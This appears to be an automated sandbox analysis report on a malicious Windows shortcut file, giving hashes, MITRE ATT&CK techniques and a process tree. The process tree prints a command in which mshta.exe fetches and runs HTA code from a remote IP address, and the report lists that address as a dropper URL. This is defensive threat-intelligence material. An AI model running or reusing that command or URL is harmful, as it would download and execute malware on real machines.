4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4

Resubmissions

30-04-2024 13:47

240430-q31wpsgd21 10

19-04-2024 12:12

240419-pdkbzscd2x 10

Analysis

max time kernel
66s
max time network
56s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
30-04-2024 13:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4.lnk
Size

1KB
MD5

c5140207d2276f64b3a8f4ccd3487723
SHA1

4d688086cd47a23444b2329fbd83a3740c40d0ca
SHA256

4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4
SHA512

ac0a2830b6f4bc36901252f1c0dc575f07a24c3194dec822964f59f6f7291e64e23522a8c956afd24de68122b782aa283ce97ef2e4720587feb2bd67a443c210

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://194.180.191.34/pr/relationship.tmp

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3496	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 3496	4664	cmd.exe	84
PID 4664 wrote to memory of 3496	4664	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://194.180.191.34/pr/relationship.tmp /f
  2⤵
  - Blocklisted process makes network request
  PID:3496

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads